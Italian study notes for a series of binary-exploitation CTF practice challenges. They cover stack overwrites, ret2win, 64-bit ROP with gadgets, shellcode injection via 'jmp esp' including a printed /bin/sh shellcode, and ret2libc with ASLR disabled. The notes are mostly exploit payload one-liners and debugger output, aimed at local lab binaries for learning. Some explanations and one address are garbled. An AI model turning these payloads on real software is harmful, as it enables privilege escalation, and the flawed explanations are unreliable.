OVFLW SOLUTIONS:

https://github.com/Crypto-Cat/CTF/tree/main

NB ----> in tutto il file si intende che gdb venga runnato in pwndbg.

# 02-overwriting\_stack\_variables\_part2:

$ file overwrite

$ checksec overwrite

$ ghidra -> per disassemblarlo (o qualsiasi altro r2/gef/..)

------ scopriamo che il buffer\_input è di 32 byte

$ phython2 -c 'print 32 \* "A" + "deadbeef"'

$ ./ovewrite >> yes? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdeadbeef

------ dal fatto che l'output restituito:

$ unhex "output" -> in questo caso restituiva "daed" (al contrario quindi) si evince che:

$ phython2 -c 'print 32 \* "A" + "\xef\xbe\xad\xde"' > payload ---> -c per eseguire direttamente dalla stringa, \x indica che i sinboli seguenti rappresentano un byte in esadecimale

$ cat payload --> per verficare

$ ./overwrite < payload ------->>> SOLVED

cheattare usando i registri:

$ gdb overwrite

$ info function

$ break punto\_in\_cui\_avviene\_compare\_trovato\_con\_ghidra

$ run

>> yes? "test"

$ x $ebp - 0xc

>> 0x12345678

$ set \*indirizzo = 0xdeadbeef

$ c

>> god job!

Scrivendo un file python chiamato exploit, con una semplice esecuzione possiamo tenere traccia di tutte le informazioni scoperte nell'analisi del file.

# 03-return\_to\_win:

Dopo le classiche funzioni di analisi. ---> come in quella di prima da LSB executable capiamo che è eseguibile dal Less Significant Bit quindi parte da dx a sx ovvero al contrario.

$ gdb ret2win

$ cyclic 100 -> crea una sequenza ciclica di 100 caratteri aaaabaaacaaad…yaaa

$ run (senza debug) per testare fino a dove arriva prima di andare in segmentation fault

>> Name: output\_di\_cyclic\_100

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA

──────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────

EAX 0x6f

EBX 0x61616166 ('faaa')

ECX 0

EDX 0

EDI 0xf7ffcb80 (\_rtld\_global\_ro) ◂— 0

ESI 0xffffd074 —▸ 0xffffd245 ◂— '/home/gianny/Desktop/buffer\_overflow/CTF/pwn/binary\_exploitation\_101/03-return\_to\_win/ret2win'

EBP 0x61616167 ('gaaa')

ESP 0xffffcfb0 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'

EIP 0x61616168 ('haaa')

────────────────────[ DISASM / i386 / set emulate on ]───────────────────────

NB\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

Potremmo potenzialmente sovrascrivere gli indirizzi |

in modo che EIP punti ad ESP dentro il quale abbiamo |

iniettato codice malevolo (bad shell code). |

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|

$ cyclic -l haaa -> serve per dirci dopo quante lettere si arriva ad "haaa" che è l'ultimo punto che finisce nell'EIP (puntatore con il return address di cui vogliamo sovrascrivere il contenuto), tutto il resto andrà a finire in ESP.

$ disassemble hacked -> perché come ho notato dallo pseudo-code di ghidra è li che mi interessa arrivare, quindi disassemblo per prendere il primo indirizzo e settare l'indirizzo di ritorno

$ python2 -c 'print 28\*"A"+"\x82\x91\x04\x08"' > payload

$ gdb ret2win

$ run < payload

>>

Hi there, AAAAAAAAAAAAAAAAAAAAAAAAAAAA

This function is TOP SECRET! How did you get in here?! :O

Program received signal SIGSEGV, Segmentation fault.

# **04-ret2win\_params:** 32 bit

-----> SHELL1

$ file ret2win\_params

$ checksec ret2win\_params

$ ghidra -> per analizzare un minimo

$ gdb ret2win\_params

$ cyclic 200

$ run

>> Name: "Output\_of\_cyclic\_200"

$ cyclic -l haaa

>> Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)

Found at offset 28

$ disassemble hacked --> prendo il primo indirizzo che vedo elencato (ovvero 0x08049182)

----> SHELL2

PAYLOAD:

Il payload sembra essere così composto:

python2 -c 'print "payload" + "hacked" + "return\_address" + "param\_1" + "param\_2"'

$ python2 -c 'print 28 \* "A" + "\x82\x91\x04\x08" + "AAAA" + "BBBB" + "CCCC"' > payload

----> SHELL 1

$ gdb ret2win\_params

$ disassemble register\_name -> prendo il return\_address (0x0804922a)

$ break \*0x0804922a

$ run < payload

$ n -> finché non troviamo una comparazione (n sta per next)

$ x $ebp + 8

>> 0x42424242 --> sarebbero le BBBB in hex

Visto che il cmp non va a buon fine non vedremo mai le CCCC ma andremo direttamente al return

perciò sostituiamo le BBBB con \xef\xbe\xad\xde

----> SHELL 2

$ python2 -c 'print 28 \* "A" + "\x82\x91\x04\x08" + "junk" + "\xef\xbe\xad\xde" + "CCCC"' > payload

----> SHELL 1

$ gdb ret2win\_params

$ break \*0x0804922a

$ run < payload

$ n -> finché non troviamo una comparazione (n sta per next)

$ x $ebp + 0xc

>> 0x43434343 --> Sarebbero le CCCC in hex

----> SHELL 2

$ python2 -c 'print 28 \* "A" + "\x82\x91\x04\x08" + "junk" + "\xef\xbe\xad\xde" + "\xbe\xba\xde\xc0"' > payload

----> SHELL 1

./ret2win\_params < payload --> fatto! Notiamo che l'inidirizzo di ritorno non è

importante, ho messo junk giusto perchè sono 4

byte che seppur invalidi rispettano la lunghezza

# 04-ret2win\_params: 64 bit

----> SHELL 1

$ gdb

$ cyclic 100

$ run

>> Name: "output\_of\_cyclic\_100"

$ cyclic -l gaaa (nel mio caso ho dovuto scrivere daaaaaaa e non gaaa)

>> Finding cyclic pattern of 8 bytes: b'daaaaaaa'

(hex: 0x6461616161616161)

Found at offset 24

$ disassemble hacked --> prendo l'indirizzo di hacked 0x0000000000401142 e lo inverto a due a due

\x42\x11\x40\x00\x00\x00\x00\x00

----> SHELL 2

Come sara il payload?

padding + pop\_rdi + param\_1 + pop\_rsi + param\_2 + hacked

param\_1: deadbeef -> \xef\xbe\xad\xde -> x2 essendo a 64 bit -> \xef\xbe\xad\xde\xef\xbe\xad\xde

python2 -c 'print "A" \* 24 +

"\xef\xbe\xad\xde\xef\xbe\xad\xde" +

"\x42\x11\x40\x00\x00\x00\x00\x00"'

Come si vede abbiamo vari pop nell'offset e quindi dobbiamo trovare

un gadget che possa fare pop\_rdi per passare deadbeef:

$ ropper --file ret2win\_params --search "pop rdi"

>> 0x000000000040124b: pop rdi; ret;

prendiamo l'indirizzo e reversiamolo per il payload

python2 -c 'print "A" \* 24 +

"\x4b\x12\x40\x00\x00\x00\x00\x00" + ---> pop\_rdi

"\xef\xbe\xad\xde\xef\xbe\xad\xde" + ---> param\_1

"\x42\x11\x40\x00\x00\x00\x00\x00"' ---> hacked

$ ropper --file ret2win\_params --search "pop rsi"

>> 0x0000000000401249: pop rsi; pop r15; ret;

prendiamo l'indirizzo e reversiamolo per il payload

\x40\x12\x49\x00\x00\x00\x00\x00

Notiamo inoltre che non avviene solo una pop rsi, ma anche una pop r15,

il nostro payload si modifica in quanto qualcosa andrà a finire dentro r15:

padding + pop\_rdi + param\_1 + pop\_rsi + param\_2 + junk + hacked

python2 -c 'print "A" \* 24 +

"\x4b\x12\x40\x00\x00\x00\x00\x00" + ---> pop\_rdi

"\xef\xbe\xad\xde\xef\xbe\xad\xde" + ---> param\_1

"\x40\x12\x49\x00\x00\x00\x00\x00" + ---> pop\_rsi\_r15

"\xbe\xba\xde\xc0\xbe\xba\xde\xc0" + ---> param\_2

"\x00\x00\x00\x00\x00\x00\x00\x00" + ---> junk\_param

"\x42\x11\x40\x00\x00\x00\x00\x00"' ---> hacked

$ python2 -c 'print "A" \* 24 + "\x4b\x12\x40\x00\x00\x00\x00\x00" +

"\xef\xbe\xad\xde\xef\xbe\xad\xde" + "\x49\x12\x40\x00\x00\x00\x00\x00"

+ "\xb\xba\xde\xc0\xbe\xba\xde\xc0" + "\x00\x00\x00\x00\x00\x00\x00\x00"

+ "\x42\x11\x40\x00\x00\x00\x00\x00"' > payload

----> SHELL 1

./ret2win\_params < payload --> FATTO!

# 05-injecting\_custom\_shellcode:

<https://www.youtube.com/watch?v=4zut2Mjgh5M>

$ ls -lart --> in questo modo possiamo visionare anche tutti

i permessi e le cartelle

In particolare, vediamo che flag.txt ha i seguenti permessi: -rw-------, ovvero solo il proprietario (root) ha il permesso di leggere e scrivere, mentre altri utenti non hanno alcun permesso.

$ cat flag.txt --> conferma il fatto che flag è protetto

$ sudo chown root:root flag.txt -->

utilizza sudo per elevare i privilegi e cambia l'owner e il gruppo di flag.txt a root:root. Questo è ridondante, poiché l'output del ls -lart mostra che flag.txt era già di proprietà di root. Il comando non cambia i permessi del file, ma cambia il proprietario (proprietario e gruppo).

$ sudo chmod 600 flag.txt --> permessi di tipo U-G-O (User, Group, Others)

rwx | rwx | rwx --> 111 | 111 | 111 --> 777

se scrivo 600 corrisponde a:

6 = 110 | 0 = 000 | 0 = 000

quindi: rw------- il proprietario ha permesso

di leggere e scrivere, mentre tutti gli altri

utenti non hanno alcun permesso.

$ sudo chown root:root server

$ sudo chmod 4655 server --> Il numero 4655 rappresenta i permessi in

formato ottale. Il 4 iniziale indica il bit

SUID (Set User ID).

655: 110 | 101 | 101 --> rw-r-xr-x

U (proprietario) legge e scrive ma non esegue

G (gruppo) legge ed esegue ma non scrive

O (altri) legge ed esegue ma non scrive

L'impostazione del bit SUID su un eseguibile fa sì che, quando eseguito, il programma venga eseguito con i permessi del proprietario del file (in questo caso, root), piuttosto che con i permessi dell'utente che lo ha eseguito. Questo è un meccanismo che può essere sfruttato per un'escalation dei privilegi.

Con queste impostazioni non dovremmo riuscire a leggere il contenuto di flag.

$ file server

$ checksec server

Visto che servono i permessi per tutto faremo questo:

$ sudo chown my\_user:my\_user flag.txt

$ sudo chmod 600 flag.txt

$ sudo chown my\_user:my\_user server

$ sudo chmod 4755 server

Essenzialmente dopo essermi impostato proprietario di tutti I file mi do tutti i permesi sul server per non avere problemi durante l’esecuzione.

$ ghidra --> per poter aprire "server" su ghidra ho dovuto eseguire:

$ sudo chown my\_user:my\_user server

$ gdb server

$ cyclic 100 --> come faccio ad essere sicuro che bastano 100??

Immagine che contiene testo, software, numero, Icona del computer

Descrizione generata automaticamente

Figura 1 Estratto dalla comparazione con Ghidra

Essendo un totale di 76 100 bastano eccomme!

$ cyclic -l taaa

>> Finding cyclic pattern of 4 bytes: b'taaa' (hex: 0x74616161)  
Found at offset 76

----> SHELL 2

Come sarà fatto l’offset??

Pyhton2 -c ‘print “A” \* 76 + “B” \* 4 + “C” \* 100‘  
A -> padding  
B -> address  
C -> shellcode

Immagine che contiene schermata, testo

Descrizione generata automaticamente

Come si nota dall’immagine il gadget che vogliamo usare è quel:

0804919f ff e4 JMP ESP

Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

Eseguendo il gadget faremo una jmp verso uaaa… quindi li andrà messo l’indirizzo allo shellcode.

$ ropper --file server --search “jmp esp”

Immagine che contiene testo, schermata, software

Descrizione generata automaticamente>> 0x0804919f: jmp esp; --> ma se invece di farlo manualmente vogliamo usare una libreria che contiene già vari shellcode utilizzabili possiamo usare “shellcraft”.

Quello che ci interessa è -l.

$ shellcraft -l

>> … … … … … … …  
 i386.linux.sh  
 … … … … … … …

$ shellcraft i386.linux.sh

>> 6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80

Traduciamo il risultato direttamente in assembly:

$ shellcraft i386.linux.sh -f a

>> Immagine che contiene testo, schermata

Descrizione generata automaticamente

# 06-return\_to\_libc 32-bit

Essenzialmente sia il 5 che questo consistono nel dover leggere le flag che non potrebbero essere lette in quanto non abbiamo i permessi per farlo, ma i permessi ce li ha root, per riuscire a camuffarci da root dobbiamo mandare tutto in overflow e trovare i vari offset per le funzioni che vogliamo usare (system e libc che è la libreria che ci interessa).

$ file securesever -> dynamically linked vuol dire che la funzione non è nel codice ma vengono chiamate dinamicamente

$ checksec secureserver

>> NX enabled

$ ls -lart

$ sudo chown root:root flag.txt

$ sudo chown root:root secureserver

$ sudo chmod 600 flag.txt

$ ghidra -> analizziamo il codice

$ gdb secureserver

$ cyclic 100

$ run --> e compiliamo con l’output di cyclic 100

$ cyclic -l taaa --> quello che c’è nell’EIP

>> Found at offset 76

$ search

$ search -t string “bin/sh” --> cerca dentro la libreria c l’indirizzo di memoria della funzione di c che esegue la shell. Essenzialmente tramite questa particolare funzione riusciamo a darci dei privilegi che magari l’untente non ci ha dato.

>> libc.so.6 0xea8670d5 '/bin/sh'

$ ldd secureserver --> list dynamic dependencies, eseguendolo più volte vediamo che l’indirizzo di libc cambia sempre perché l’ASLR è attivo e bisogna disabilitarlo.

$ echo 0 | sudo tee /proc/sys/kernel/randomize\_va\_space --> disabilita la randomizzazione se la si vuole riattivare o si fa echo 1 (parziale) o echo 2 (totale).

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> per trovare l’offset della funzione system dalla root di libc, quidi tecnicamente se scrivessimo grep puts troveremmo l’offset dalla base di libc a puts.

La posizione della libreria ci serve per arrivare a system.

>> 2166: **00048170** 63 FUNC WEAK DEFAULT 15 system@@GLIBC\_2.0

**00048170** --> offset

$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" --> in questo modo mi trovo solo l’offset da libc a /bin/sh, strings legge tutta la libreria, ‘grep’ preleva quella interessata, ‘-a’ scansiona la libreria e ‘-t x’ formatta in hex

>> 1bd0d5 /bin/sh

Quindi aprendo il file exploit.py vediamo:   
Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente

La funzione system() in Linux (e in generale nei sistemi Unix-like) è una funzione della libreria standard C che permette di **eseguire un comando esterno da un programma**. In pratica, la funzione system() prende una stringa che rappresenta un comando, lo passa alla shell del sistema (solitamente /bin/sh), e la shell lo esegue come se lo avessi digitato direttamente nel terminale.

**Come funziona system():**

1. **Riceve una stringa**: La funzione system() accetta come unico argomento una stringa const char \*command che rappresenta il comando da eseguire.
2. **Invoca la shell**: Internamente, system() crea un nuovo processo tramite la chiamata di sistema fork() e poi usa una delle funzioni exec...() per lanciare un'istanza della shell, come /bin/sh.
3. **Esegue il comando**: La shell esegue il comando specificato nella stringa command. Questo comando può essere qualsiasi comando valido per la shell, inclusi i comandi interni alla shell, comandi esterni, pipeline, redirection, ecc.
4. **Attende la fine del comando**: system() si blocca e attende che il comando esterno termini la sua esecuzione.
5. **Restituisce il codice di uscita**: Una volta che il comando esterno è terminato, system() restituisce il codice di uscita del comando. Questo codice di uscita indica se il comando è stato eseguito correttamente o se ci sono stati errori. Un codice di uscita 0 indica successo, mentre un valore diverso da 0 indica un errore.

Essenzialmente tramite il payload che abbiamo creato chiamiamo la shell /bin/bash nel file della root per il quale non abbiamo i permessi di esecuzione (NX enabled) e tramite la funzione system eseguiamo il codice come fossimo root (infatti chiedendo whoami, risponderà root).